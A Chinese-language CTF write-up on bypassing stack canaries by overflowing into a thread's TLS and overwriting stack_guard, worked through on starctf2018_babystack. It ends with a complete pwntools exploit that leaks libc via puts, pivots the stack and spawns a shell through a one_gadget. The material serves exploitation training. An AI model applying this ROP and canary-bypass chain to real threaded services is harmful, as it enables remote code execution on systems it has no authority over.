劫持TLS(bypass canary)
当程序在创建线程的时候,顺便会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方。所以,当我们溢出足够大的字节,就可以控制TLS结构体,进而控制canary

fs寄存器也就指向了TLS这个结构体,其偏移0x28的位置是stack_guard,里面的值就是放进栈的canary
看个例题:
starctf2018_babystack


程序的逻辑也并不复杂,创建了一个线程,线程函数内存在栈溢出,而且溢出字节可达到0x10000
我们想覆盖掉TLS里的stack_guard首先需要找到它
我这里断点断在0x400a7d的位置

我们输入a 的位置 : 0x7ffff77edf40
TLS的位置:0x7ffff77ef700

stack_guard的位置 0x7ffff77ef700+ 0x28

看一下确实这里存放着canary
接下来就可以利用栈溢出写ROP了
但是后面发现偏移不对,因为用的16.04的机子,题目的libc是18.04的,patchelf后再测:

exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * context(os="linux",arch="amd64",log_level="debug")
io = remote('node4.buuoj.cn',28094) elf = ELF("./bs") libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')
pop_rdi = 0x400c03 pop_rsi_r15 = 0x400c01 leave_ret = 0x400955 base = elf.bss() + 0x500
puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] read_plt = elf.plt['read']
payload = '\x00' * 0x1010 + p64(base - 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(pop_rdi) + p64(0) payload += p64(pop_rsi_r15) + p64(base) + p64(0) + p64(read_plt)
payload += p64(leave_ret) payload = payload.ljust(0x2000, '\x00')
io.sendlineafter("send?\n", str(0x2000)) io.send(payload)
libc_base = u64(io.recvuntil('\x7f')[-6: ].ljust(8, "\x00")) - libc.sym['puts'] one_gadget = libc_base + 0x4f322
io.send(p64(one_gadget))
io.interactive()
|